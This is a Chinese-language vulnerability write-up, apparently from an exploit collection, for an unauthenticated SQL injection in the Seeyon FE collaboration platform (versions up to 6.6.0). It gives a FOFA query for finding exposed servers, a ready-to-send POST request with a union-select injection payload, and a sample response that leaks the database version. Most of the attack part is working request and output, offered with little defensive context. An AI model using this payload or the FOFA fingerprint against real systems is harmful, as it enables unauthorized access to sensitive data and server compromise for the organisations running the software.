

Z2-2致远互联-FE-移动协作平台-SQL

漏洞描述：

致远互联FE协作办公平台 editflow_manager.js、validate.jsp等接口处存在SQL注入漏洞,未经身份验证的攻击者可以通过此漏洞获取数据库敏感信息，深入利用可获取服务器权限。

影响版本：

FE协作办公平台 <= 6.6.0

网络测绘：

fofa语法：

FOFA: app="致远互联-FE"

漏洞复现：

payload:

```
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

option=2&GUID=-1%27+union+select+%40%40version--+
```

效果图:

查询数据库版本

Request

1 POST /sysform/003/editflow_manager.js%70 HTTP/1.1

2 Host : ;:9090

3 User-Agent: Mozilla/5.0

4 Connection: close

5 Accept-Encoding: gzip, deflate

6 Content-Type: application/x-www-form-urlencoded

7

8 option=2&GUID=-1%27+union+select+%40%40version--+

Responses 199bytes / 59ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 X-Powered-By: Servlet/2.4; JBoss-4.0.4.GA-date=200605151000)/Tomcat-5.5

4 Set-Cookie: JSESSIONID=0AE226900F3F5F56FF6;

5 Content-Type: text/html; charset=utf-8

6 Date: Fri, 08 Dec 2023 11:04:18 GMT

7 Connection: close

8 Content-Length: 199

9

10

11

12

13

14

15

16

17 Microsoft SQL Server 2008 R2 (RTM) - 10.50

18 Apr 2 2010 15:48:46

19 Copyright (c) Microsoft Corporation

20 Enterprise Edition (64-bit) on Windows

21